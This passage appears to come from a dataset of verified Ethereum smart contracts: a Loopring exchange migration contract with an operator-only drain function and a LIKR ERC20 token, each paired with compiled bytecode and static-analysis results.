b600060208201905081810360008301526124ee81612166565b9050919050565b6000602082019050818103600083015261250e81612189565b9050919050565b6000602082019050818103600083015261252f81846121ac565b905092915050565b600060208201905061254c60008301846122a2565b92915050565b600060408201905061256760008301856122a2565b61257460208301846122a2565b9392505050565b600060608201905061259060008301866122a2565b61259d60208301856122a2565b6125aa60408301846122a2565b949350505050565b60006125bc6125cd565b90506125c88282612888565b919050565b6000604051905090565b600067ffffffffffffffff8211156125f2576125f161298f565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561261e5761261d61298f565b5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006126de82612839565b91506126e983612839565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561271e5761271d612902565b5b828201905092915050565b600061273482612839565b915061273f83612839565b92508261274f5761274e612931565b5b828204905092915050565b600061276582612839565b915061277083612839565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127a9576127a8612902565b5b828202905092915050565b60006127bf82612839565b91506127ca83612839565b9250828210156127dd576127dc612902565b5b828203905092915050565b60006127f382612819565b9050919050565b60008115159050919050565b600081905061281482612c9f565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061284e82612806565b9050919050565b60005b83811015612873578082015181840152602081019050612858565b83811115612882576000848401525b50505050565b612891826129be565b810181811067ffffffffffffffff821117156128b0576128af61298f565b5b80604052505050565b60006128c482612839565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156128f7576128f6612902565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f53756d2076657374696e67207265636f726473206d757374206265206571756160008201527f6c206c6f636b20616d6f756e7400000000000000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f43616e74206c6f636b203020616d6f756e740000000000000000000000000000600082015250565b7f4c656e677468206f662062656e6566696369617269657320616e64207368617260008201527f657320617272617973206d75737420626520657175616c000000000000000000602082015250565b7f43616e7420636c61696d207a65726f0000000000000000000000000000000000600082015250565b7f53756d206f6620736861726573206172726179206d757374206265206571756160008201527f6c20746f20313030250000000000000000000000000000000000000000000000602082015250565b7f4c656e677468206f6620706572696f647320616e6420616d6f756e747320617260008201527f72617973206d75737420626520657175616c0000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f506c6561736520617070726f7665206669727374000000000000000000000000600082015250565b7f496e73756666696369656e7420666f72206e6f77000000000000000000000000600082015250565b7f4c6f636b207265636f7264206e6f742073617665642079657400000000000000600082015250565b60028110612cb057612caf612960565b5b50565b612cbc816127e8565b8114612cc757600080fd5b50565b612cd3816127fa565b8114612cde57600080fd5b50565b612cea81612839565b8114612cf557600080fd5b5056fea2646970667358221220d18d2e3bde512a6a1b6c22ce1500e09a8eab3f1ad7c69e47e9650285fed4ce6664736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 9,959 |
0x665f6416c194ad7ca9c88d542677375bece9ddd6 | /**
*Submitted for verification at Etherscan.io on 2021-03-10
*/
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
// File: contracts/lib/ReentrancyGuard.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ReentrancyGuard
/// @author Brecht Devos - <[email protected]>
/// @dev Exposes a modifier that guards a function against reentrancy
/// Changing the value of the same storage value multiple times in a transaction
/// is cheap (starting from Istanbul) so there is no need to minimize
/// the number of times the value is changed
contract ReentrancyGuard
{
//The default value must be 0 in order to work behind a proxy.
uint private _guardValue;
// Use this modifier on a function to prevent reentrancy
modifier nonReentrant()
{
// Check if the guard value has its original value
require(_guardValue == 0, "REENTRANCY");
// Set the value to something else
_guardValue = 1;
// Function body
_;
// Set the value back
_guardValue = 0;
}
}
// File: contracts/lib/AddressUtil.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for addresses
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library AddressUtil
{
using AddressUtil for *;
function isContract(
address addr
)
internal
view
returns (bool)
{
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(addr) }
return (codehash != 0x0 &&
codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
function toPayable(
address addr
)
internal
pure
returns (address payable)
{
return payable(addr);
}
// Works like address.send but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETH(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
if (amount == 0) {
return true;
}
address payable recipient = to.toPayable();
/* solium-disable-next-line */
(success, ) = recipient.call{value: amount, gas: gasLimit}("");
}
// Works like address.transfer but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETHAndVerify(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
success = to.sendETH(amount, gasLimit);
require(success, "TRANSFER_FAILURE");
}
// Works like call but is slightly more efficient when data
// needs to be copied from memory to do the call.
function fastCall(
address to,
uint gasLimit,
uint value,
bytes memory data
)
internal
returns (bool success, bytes memory returnData)
{
if (to != address(0)) {
assembly {
// Do the call
success := call(gasLimit, to, value, add(data, 32), mload(data), 0, 0)
// Copy the return data
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
returndatacopy(add(returnData, 32), 0, size)
// Update free memory pointer
mstore(0x40, add(returnData, add(32, size)))
}
}
}
// Like fastCall, but throws when the call is unsuccessful.
function fastCallAndVerify(
address to,
uint gasLimit,
uint value,
bytes memory data
)
internal
returns (bytes memory returnData)
{
bool success;
(success, returnData) = fastCall(to, gasLimit, value, data);
if (!success) {
assembly {
revert(add(returnData, 32), mload(returnData))
}
}
}
}
// File: contracts/lib/ERC20.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <[email protected]>
abstract contract ERC20
{
function totalSupply()
public
virtual
view
returns (uint);
function balanceOf(
address who
)
public
virtual
view
returns (uint);
function allowance(
address owner,
address spender
)
public
virtual
view
returns (uint);
function transfer(
address to,
uint value
)
public
virtual
returns (bool);
function transferFrom(
address from,
address to,
uint value
)
public
virtual
returns (bool);
function approve(
address spender,
uint value
)
public
virtual
returns (bool);
}
// File: contracts/lib/ERC20SafeTransfer.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 safe transfer
/// @dev see https://github.com/sec-bit/badERC20Fix
/// @author Brecht Devos - <[email protected]>
library ERC20SafeTransfer
{
function safeTransferAndVerify(
address token,
address to,
uint value
)
internal
{
safeTransferWithGasLimitAndVerify(
token,
to,
value,
gasleft()
);
}
function safeTransfer(
address token,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferWithGasLimit(
token,
to,
value,
gasleft()
);
}
function safeTransferWithGasLimitAndVerify(
address token,
address to,
uint value,
uint gasLimit
)
internal
{
require(
safeTransferWithGasLimit(token, to, value, gasLimit),
"TRANSFER_FAILURE"
);
}
function safeTransferWithGasLimit(
address token,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transfer is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transfer(address,uint256)")) = 0xa9059cbb
bytes memory callData = abi.encodeWithSelector(
bytes4(0xa9059cbb),
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function safeTransferFromAndVerify(
address token,
address from,
address to,
uint value
)
internal
{
safeTransferFromWithGasLimitAndVerify(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFromWithGasLimitAndVerify(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
{
bool result = safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasLimit
);
require(result, "TRANSFER_FAILURE");
}
function safeTransferFromWithGasLimit(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transferFrom(address,address,uint256)")) = 0x23b872dd
bytes memory callData = abi.encodeWithSelector(
bytes4(0x23b872dd),
from,
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
internal
pure
returns (bool)
{
// A transfer/transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
if (success) {
assembly {
switch returndatasize()
// Non-standard ERC20: nothing is returned so if 'call' was successful we assume the transfer succeeded
case 0 {
success := 1
}
// Standard ERC20: a single boolean value is returned which needs to be true
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
// None of the above: not successful
default {
success := 0
}
}
}
return success;
}
}
// File: contracts/lib/Drainable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Drainable
/// @author Brecht Devos - <[email protected]>
/// @dev Standard functionality to allow draining funds from a contract.
abstract contract Drainable
{
using AddressUtil for address;
using ERC20SafeTransfer for address;
event Drained(
address to,
address token,
uint amount
);
function drain(
address to,
address token
)
public
returns (uint amount)
{
require(canDrain(msg.sender, token), "UNAUTHORIZED");
if (token == address(0)) {
amount = address(this).balance;
to.sendETHAndVerify(amount, gasleft()); // ETH
} else {
amount = ERC20(token).balanceOf(address(this));
token.safeTransferAndVerify(to, amount); // ERC20 token
}
emit Drained(to, token, amount);
}
// Needs to return if the address is authorized to call drain.
function canDrain(address drainer, address token)
public
virtual
view
returns (bool);
}
// File: contracts/aux/migrate/MigrationToLoopringExchangeV2.sol
// Copyright 2017 Loopring Technology Limited.
abstract contract ILoopringV3Partial
{
function withdrawExchangeStake(
uint exchangeId,
address recipient,
uint requestedAmount
)
external
virtual
returns (uint amount);
}
/// @author Kongliang Zhong - <[email protected]>
/// @dev This contract enables an alternative approach of getting back assets from Loopring Exchange v1.
/// Now you don't have to withdraw using merkle proofs (very expensive);
/// instead, all assets will be distributed on Loopring Exchange v2 - Loopring's new zkRollup implementation.
/// Please activate and unlock your address on https://exchange.loopring.io to claim your assets.
contract MigrationToLoopringExchangeV2 is Drainable
{
function canDrain(address /*drainer*/, address /*token*/)
public
override
view
returns (bool) {
return isMigrationOperator();
}
function withdrawExchangeStake(
address loopringV3,
uint exchangeId,
uint amount,
address recipient
)
external
{
require(isMigrationOperator(), "INVALID_SENDER");
ILoopringV3Partial(loopringV3).withdrawExchangeStake(exchangeId, recipient, amount);
}
function isMigrationOperator() internal view returns (bool) {
return msg.sender == 0x4374D3d032B3c96785094ec9f384f07077792768;
}
} | 0x608060405234801561001057600080fd5b50600436106100415760003560e01c80636e6cddd014610046578063837971e41461005b578063907d985b14610084575b600080fd5b61005961005436600461064f565b6100a4565b005b61006e61006936600461061b565b61019a565b60405161007b9190610811565b60405180910390f35b61009761009236600461061b565b610328565b60405161007b9190610761565b6100ac61033b565b6100eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e2906107da565b60405180910390fd5b6040517f06ff4daa00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906306ff4daa906101419086908590879060040161081a565b602060405180830381600087803b15801561015b57600080fd5b505af115801561016f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101939190610698565b5050505050565b60006101a63383610328565b6101dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e29061076c565b73ffffffffffffffffffffffffffffffffffffffff821661022257504761021c815a73ffffffffffffffffffffffffffffffffffffffff86169190610355565b506102e7565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8316906370a08231906102749030906004016106e9565b60206040518083038186803b15801561028c57600080fd5b505afa1580156102a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c49190610698565b90506102e773ffffffffffffffffffffffffffffffffffffffff831684836103b8565b7fbfd2431e6c719bec0308db4f4ed0afc39712d368867354c711a1ea1e384fa78183838360405161031a9392919061070a565b60405180910390a192915050565b600061033261033b565b90505b92915050565b734374d3d032b3c96785094ec9f384f07077792768331490565b600061037873ffffffffffffffffffffffffffffffffffffffff851684846103c9565b9050806103b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e2906107a3565b9392505050565b6103c48383835a610470565b505050565b6000826103d8575060016103b1565b60006103f98573ffffffffffffffffffffffffffffffffffffffff166104b8565b90508073ffffffffffffffffffffffffffffffffffffffff16848490604051610421906104b8565b600060405180830381858888f193505050503d806000811461045f576040519150601f19603f3d011682016040523d82523d6000602084013e610464565b606091505b50909695505050505050565b61047c848484846104bb565b6104b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e2906107a3565b50505050565b90565b6000606063a9059cbb60e01b85856040516024016104da92919061073b565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008673ffffffffffffffffffffffffffffffffffffffff16848360405161056191906106b0565b60006040518083038160008787f1925050503d806000811461059f576040519150601f19603f3d011682016040523d82523d6000602084013e6105a4565b606091505b505090506105b1816105bc565b979650505050505050565b600081156105f3573d80156105dc57602081146105e557600092506105f1565b600192506105f1565b60206000803e60005192505b505b5090565b803573ffffffffffffffffffffffffffffffffffffffff8116811461033557600080fd5b6000806040838503121561062d578182fd5b61063784846105f7565b915061064684602085016105f7565b90509250929050565b60008060008060808587031215610664578182fd5b843561066f81610846565b93506020850135925060408501359150606085013561068d81610846565b939692955090935050565b6000602082840312156106a9578081fd5b5051919050565b60008251815b818110156106d057602081860181015185830152016106b6565b818111156106de5782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b901515815260200190565b6020808252600c908201527f554e415554484f52495a45440000000000000000000000000000000000000000604082015260600190565b60208082526010908201527f5452414e534645525f4641494c55524500000000000000000000000000000000604082015260600190565b6020808252600e908201527f494e56414c49445f53454e444552000000000000000000000000000000000000604082015260600190565b90815260200190565b92835273ffffffffffffffffffffffffffffffffffffffff919091166020830152604082015260600190565b73ffffffffffffffffffffffffffffffffffffffff8116811461086857600080fd5b5056fea2646970667358221220cf362cc7c1cb5f5683297dfec6f9c04aa165ed6a1afc1baca33d0e53cb3d30d764736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,960 |
0x1ba0207d542f26f6e0c55b84ab75789bf8a8fdc3 | /**
*Submitted for verification at Etherscan.io on 2019-07-11
*/
/**
*Submitted for verification at Etherscan.io on 2019-05-03
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `ERC20` functions.
*/
contract LIKR_COIN is ERC20Burnable, ERC20Mintable {
string public constant name = "LIKR COIN";
string public constant symbol = "LIKR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor(address _owner) public {
_mint(_owner, INITIAL_SUPPLY);
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d1578063395093511461030257806340c10f191461036757806342966c68146103cc57806370a08231146103f957806379cc67901461045057806395d89b411461049d578063983b2d561461052d5780639865027514610570578063a457c2d714610587578063a9059cbb146105ec578063aa271e1a14610651578063dd62ed3e146106ac575b600080fd5b34801561010d57600080fd5b50610116610723565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075c565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610889565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610893565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610a45565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610a57565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5c565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b506103b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c93565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b506103f760048036038101908080359060200190929190505050610cbd565b005b34801561040557600080fd5b5061043a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cca565b6040518082815260200191505060405180910390f35b34801561045c57600080fd5b5061049b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d12565b005b3480156104a957600080fd5b506104b2610d20565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f25780820151818401526020810190506104d7565b50505050905090810190601f16801561051f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053957600080fd5b5061056e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d59565b005b34801561057c57600080fd5b50610585610d79565b005b34801561059357600080fd5b506105d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d84565b604051808215151515815260200191505060405180910390f35b3480156105f857600080fd5b50610637600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbb565b604051808215151515815260200191505060405180910390f35b34801561065d57600080fd5b50610692600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd2565b604051808215151515815260200191505060405180910390f35b3480156106b857600080fd5b5061070d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fef565b6040518082815260200191505060405180910390f35b6040805190810160405280600981526020017f4c494b5220434f494e000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079957600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561092057600080fd5b6109af82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3a848484611097565b600190509392505050565b601260ff16600a0a6404a817c8000281565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a9957600080fd5b610b2882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673fff